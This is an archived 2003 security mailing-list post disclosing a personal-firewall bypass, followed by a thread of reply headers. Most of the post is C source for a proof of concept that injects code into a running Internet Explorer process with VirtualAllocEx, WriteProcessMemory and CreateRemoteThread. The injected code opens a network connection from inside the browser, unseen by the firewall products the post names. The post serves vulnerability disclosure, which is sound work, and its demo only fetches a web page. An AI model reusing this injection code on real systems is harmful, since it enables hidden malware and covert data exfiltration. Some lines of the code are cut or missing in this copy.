Bypassing Personal Firewalls Feb 21 2003 09:34PM
xenophi1e (oliver lavery sympatico ca) (3 replies)

[MODERATOR: posted this to vuln-dev where it recieved some interest.

Thought it might be interesting to a wider audience. Here's a revised

version of the same post]

Here's a code snippet that injects code directly into a running process

without the need for a DLL etc. I believe that it demonstrates that

process boundaries under NT mean very little within the context of a

given UID.

This allows PFWs to be bypassed, as well as making it very easy to hide

running malicious code on a system. The example is a 'sploit that makes a

connection from within IE, and slips under the radar of all PFWs I've


Having attempted to discuss this with PFW vendors, it doesn't appear to

be much of a concern to them; after almost two business weeks, Symantec

is the only company to have responded with any concern. To be fair, this

isn't remotely exploitable, and is fundamentally an issue with how OSs

are designed, not how PFWs work (although one might wonder if some of the

claims made by PFW vendors are really ethical). I think it illustrates

that OpenProcess, ptrace, and the like should really enforce filesystem

priviledges on the processes they can modify. I think that this is

something that needs to be done proactively.

The implication of allowing processes to modify each other this way is

that PFWs can not be easily made secure, but also that malicious code has

nice support from windows for doing some very bad things. For instance it

would be a simple addition to intercept syscalls made by any process into

which code can be injected, and in so doing hide the presence of

malicious activity from all local processes a user runs.

Binary available at:



// fw_bypass.cpp | thermite.exe



// (C) 2003 Oliver Lavery


// This program establishes socket connections and transfers information

in a manner

// which should be undetectable by all current personal firewall products.


// Tested on:

// Windows XP Professional SP1

// (should run on any NT variant)


// Known vulnerable:

// ZoneAlarm Pro 3.5 (all settings at highest)

// Zero-Knowledge Freedom Firewall

// Look'n'Stop 2.04

// Sygate Personal Firewall PRO (highest settings)

// Norton Personal Firewall 2003 (highest settings)


// (should smoke 'em all)



// Compile me with VC++ 98. Other compilers may work.


// /ML /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS"

// /D "_MBCS" /Fo"Release/" /Fd"Release/" /FD /c

// (no stack checking, no "catch release errors in debug", no incremental


// they all break stuff here)

#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from

Windows headers

#include <windows.h>

#include <winsock2.h>

#include <tlhelp32.h>

//////////// Injected Code.//////////////

// This code is a bit funky. The idea here is to write C in such a way

that it is relocatable

// in the strictest sense of the word (can be passed accross process

boundaries at run-time).

// To do this the injected code has to contain no static references to

symbols that reside at

// a fixed memory address. Also this part of the code is incompatable

with incremental linking,

// and stack checking.


// There's really no advantage to doing this in C rather than assembly

other than the

// fact that it's cool. I wanted to see if it would be feasible to inject

C code for other,

// bigger projects.

// NB, please excuse the Hungarian notiation. I hate it too. When in



typedef int (__stdcall *func_MessageBox)( HWND hWnd, LPCTSTR lpText,

LPCTSTR lpCaption, UINT uType );


typedef SOCKET (__stdcall *func_socket)( int, int, int );

typedef unsigned long (__stdcall *func_inet_addr)( const char FAR *);

typedef u_short (__stdcall *func_htons)( u_short );

typedef int (__stdcall *func_connect)( SOCKET, const struct sockaddr

FAR*, int );

typedef int (__stdcall *func_send)( SOCKET, const char FAR *, int, int );

typedef int (__stdcall *func_recv)( SOCKET, char FAR*, int len, int

flags );

typedef int (__stdcall *func_WSAStartup) ( WORD wVersionRequested,



typedef HANDLE (__stdcall *func_CreateFile)( LPCTSTR, DWORD, DWORD,


typedef BOOL (__stdcall *func_WriteFile)( HANDLE, LPCVOID, DWORD,


typedef BOOL (__stdcall *func_CloseHandle)( HANDLE hObject );

typedef HMODULE (__stdcall *func_GetModuleHandle)( LPCTSTR );

typedef FARPROC (__stdcall *func_GetProcAddress)( HMODULE, LPCSTR );

typedef HINSTANCE (__stdcall *func_LoadLibrary)( LPCTSTR );

typedef struct _tag_inj_info {

func_GetModuleHandle GetModuleHandle;

func_GetProcAddress GetProcAddress;

func_LoadLibrary LoadLibrary;

char szRequest[128];

int lRequest;

char szFile[255];

char szAddr[32];

char szErrCmnt1[64];

char szErrCmnt2[64];

char szErrTitle1[64];

char szErrTitle2[64];

char szErrTitle3[64];

// module names

char szKernel32[32];

char szUser32[32];

char szWSock32[32];

// func names

char szMessageBox[32];

char szSocket[32];

char szInet_Addr[32];

char szHtons[32];

char szConnect[32];

char szSend[32];

char szRecv[32];

char szCreateFile[32];

char szWriteFile[32];

char szCloseHandle[32];

char szWSAStartup[32];

} inj_info ;

// Calls to the stack-checking routine must be disabled.

// VC++ doesn't always obey this pragma

#pragma check_stack(off)

// This function runs in IE's address space

static DWORD WINAPI ThreadFunc( inj_info *info )


HMODULE hKernel32, hWSock32, hUser32;

// User32

func_MessageBox l_MessageBox;

// Winsock2

func_WSAStartup l_WSAStartup;

func_socket l_socket;

func_inet_addr l_inet_addr;

func_htons l_htons;

func_connect l_connect;

func_send l_send;

func_recv l_recv;

// Kernel32

func_CreateFile l_CreateFile;

func_WriteFile l_WriteFile;

func_CloseHandle l_CloseHandle;

// locals for actual functionality



HANDLE outfile;

char buf[255];

DWORD count;

DWORD read, wrote, error;

BOOL needStartup;


WORD wVersion;

count = 0;

wVersion = MAKEWORD( 2, 0 );

needStartup = FALSE;

// Dynamically bind API functions

hUser32 = info->GetModuleHandle( info->szUser32 );

if (hUser32 == NULL) hUser32 = info->LoadLibrary( info-

>szUser32 );

if (hUser32 == NULL) return 0;

l_MessageBox = (func_MessageBox) info->GetProcAddress( hUser32,

info->szMessageBox );

hKernel32 = info->GetModuleHandle( info->szKernel32 );

if (hKernel32 == NULL) hKernel32 = info->LoadLibrary( info-

>szKernel32 );

if (hKernel32 == NULL) {

l_MessageBox( NULL, info->szKernel32, info->szErrTitle3,

MB_OK );

return 0;


l_CreateFile = (func_CreateFile)info->GetProcAddress( hKernel32,

info->szCreateFile );

l_WriteFile = (func_WriteFile)info->GetProcAddress( hKernel32,

info->szWriteFile );

l_CloseHandle = (func_CloseHandle)info->GetProcAddress(

hKernel32, info->szCloseHandle );

hWSock32 = info->GetModuleHandle( info->szWSock32 );

if (hWSock32 == NULL) {

needStartup = TRUE;

hWSock32 = info->LoadLibrary( info->szWSock32 );


if (hWSock32 == NULL) {

l_MessageBox( NULL, info->szWSock32, info->szErrTitle3,

MB_OK );

return 0;


l_WSAStartup = (func_WSAStartup)info->GetProcAddress( hWSock32,

info->szWSAStartup );

l_socket = (func_socket)info->GetProcAddress( hWSock32, info-

>szSocket );

l_inet_addr = (func_inet_addr)info->GetProcAddress( hWSock32,

info->szInet_Addr );

l_htons = (func_htons)info->GetProcAddress( hWSock32, info-

>szHtons );

l_connect = (func_connect)info->GetProcAddress( hWSock32, info-

>szConnect );

l_send = (func_send)info->GetProcAddress( hWSock32, info-

>szSend );

l_recv = (func_recv)info->GetProcAddress( hWSock32, info-

>szRecv );

// Ok. Do stuff.

if ( needStartup )


l_WSAStartup(2, &foo);



sa.sin_family = AF_INET;

sa.sin_addr.s_addr = l_inet_addr( info->szAddr );

sa.sin_port = l_htons(80);

if ( ! (error = l_connect( s, (SOCKADDR *)&sa, sizeof(sa) ) ) ) {

outfile = l_CreateFile( info->szFile, GENERIC_WRITE, 0,


if ( outfile != INVALID_HANDLE_VALUE ) {

l_send( s, info->szRequest, info->lRequest, 0);

while ( read = l_recv( s, buf, 255, 0 ) ) {

l_WriteFile( outfile, buf, read, &wrote,



l_CloseHandle( outfile );

} else {

l_MessageBox( NULL, info->szErrCmnt1, info-

>szErrTitle1, MB_OK );


} else {

l_MessageBox( NULL, info->szErrCmnt2, info->szErrTitle2,

MB_OK );


return 0;

// XXX forgot to close the socket.


static void AfterThreadFunc (void) {


#pragma check_stack

///////// "Normal" Code /////////////

void ErrorNotify(DWORD err, char *title)


LPVOID lpMsgBuf;








(LPTSTR) &lpMsgBuf,




// Display the string.

MessageBox( NULL, (char *)lpMsgBuf, title,


// Free the buffer.

LocalFree( lpMsgBuf );


// Bits of this function are from M$ Research's Detours library.

// A great resource for ways to do 3vi1 stuff on windows, btw.

static BOOL InjectExploit(HANDLE hProcess)


BOOL fSucceeded = FALSE;

// The address where code will be copied to in the remote process.

PDWORD pdwCodeRemote = NULL;

// Calculate the number of bytes in the ThreadFunc function.

const int cbCodeSize = ((LPBYTE) AfterThreadFunc - (LPBYTE)


// The address where InjLibInfo will be copied to in the remote


inj_info *pInjLibInfoRemote = NULL;

// The number of bytes written to the remote process.

DWORD dwNumBytesXferred = 0;

// The handle and Id of the thread executing the remote copy of


DWORD dwThreadId = 0;

const DWORD cbMemSize = cbCodeSize + sizeof(inj_info) + 3;

HANDLE hThread = NULL;

DWORD dwOldProtect;

inj_info info = {

// functions used to run-time link. (always at same addresses on windows)

NULL, // GetModuleHandle

NULL, // GetProcAddress

NULL, // LoadLibrary

//// initialized data

"GET / HTTP/1.0\n\n\n",

strlen("GET / HTTP/1.0\n\n\n"),



"Can't create file",

"Can't connect to securityfocus",

"File Error",

"Socket Error",

"Linking Error",

// module names




// func names













GetCurrentDirectory( sizeof( info.szFile ), info.szFile );

strcat( info.szFile, "\\securityfocus.html");

HMODULE hKernel32;

hKernel32 = GetModuleHandle( "kernel32.dll" );

info.GetModuleHandle = (func_GetModuleHandle)GetProcAddress(

hKernel32, "GetModuleHandleA" );

info.GetProcAddress = (func_GetProcAddress)GetProcAddress(

hKernel32, "GetProcAddress" );

info.LoadLibrary = (func_LoadLibrary)GetProcAddress(

hKernel32, "LoadLibraryA" );

// Allocate memory in the remote process's address space large

// enough to hold our ThreadFunc function and a inj_info


pdwCodeRemote = (PDWORD)VirtualAllocEx(hProcess, NULL, cbMemSize,



if (pdwCodeRemote == NULL) {

MessageBox( NULL, "IE not running. Please run IE, load a

page, and re-run this exploit.", "Can't find process", MB_OK);

ErrorNotify( GetLastError(), "VirtualAllocEx Failed" );

goto finish;


// Change the page protection of the allocated memory

// to executable, read, and write.

if (!VirtualProtectEx(hProcess, pdwCodeRemote, cbMemSize,


&dwOldProtect)) {

ErrorNotify( GetLastError(), "VirtualProtectEx Failed" );

goto finish;


// Write a copy of ThreadFunc to the remote process.

if (!WriteProcessMemory(hProcess, pdwCodeRemote,


ThreadFunc, cbCodeSize, &dwNumBytesXferred)) {

ErrorNotify( GetLastError(), "WriteProcessMemory

Failed" );

goto finish;


// Write a copy of inj_info to the remote process

// (the structure MUST start on an even 32-bit boundary).

pInjLibInfoRemote = (inj_info *)(((PBYTE)pdwCodeRemote) +

((cbCodeSize + 4) & ~3));

// Put inj_info in remote thread's memory block.

if (!WriteProcessMemory(hProcess, pInjLibInfoRemote,

&info, sizeof

(info), &dwNumBytesXferred)) {

ErrorNotify( GetLastError(), "WriteProcessMemory2

Failed" );

goto finish;


if ((hThread = CreateRemoteThread(hProcess, NULL, 65536,



pInjLibInfoRemote, 0, &dwThreadId))

== NULL) {

ErrorNotify( GetLastError(), "CreateRemoteThread Failed" );

goto finish;


fSucceeded = TRUE;


if (hThread != NULL)


if (fSucceeded) MessageBox( NULL, ".\\securityfocus.html should

now contain the results of an HTTP request which in theory could have

transmitted your private information to a third party.\n"

"If you did not see a firewall warning, your firewall did

not detect the request and is vulnerable to this exploit."

, "Success", MB_OK );

return fSucceeded;


// There is no real reason to target IE, other than most users have it

running a lot, and it

// is usually allowed to bypass PFWs. Note that using the same technique

it would be easy to inject

// code to run a server inside another process as well, but IE is not

normally allowed to do this

// XXX there are better ways to get a PID.

DWORD GetIEProcessID( void )




hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

ppe.dwSize = sizeof( PROCESSENTRY32 );

Process32First( hSnap, &ppe );

while ( 1 ) {

if ( !stricmp( "iexplore.exe", ppe.szExeFile ) ) return


if ( !Process32Next( hSnap, &ppe ) ) break;


CloseHandle( hSnap );

return FALSE;


int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)


DWORD dwIE_PID = GetIEProcessID();



InjectExploit( hIE );

return 0;


[ reply ]
Re: Bypassing Personal Firewalls Feb 28 2003 05:08AM
Darwin (darwin netmadeira com)
Re: Bypassing Personal Firewalls Feb 22 2003 02:14AM
Shaun Clowes (shaun securereality com au) (2 replies)
Re: Bypassing Personal Firewalls Feb 24 2003 08:18PM
Zow Terry Brugger (zow llnl gov)
Re: Bypassing Personal Firewalls Feb 23 2003 08:13PM
Johan Verrept (jove exelsys be) (1 replies)
Re: Bypassing Personal Firewalls Feb 24 2003 09:24PM
Shaun Clowes (shaun securereality com au)
RE: Bypassing Personal Firewalls Feb 21 2003 11:09PM
Drew Copley (dcopley eeye com) (1 replies)
RE: Bypassing Personal Firewalls Feb 21 2003 11:22PM
Oliver Lavery (oliver lavery sympatico ca) (1 replies)
RE: Bypassing Personal Firewalls Feb 21 2003 11:31PM
Drew Copley (dcopley eeye com)


Privacy Statement
Copyright 2010, SecurityFocus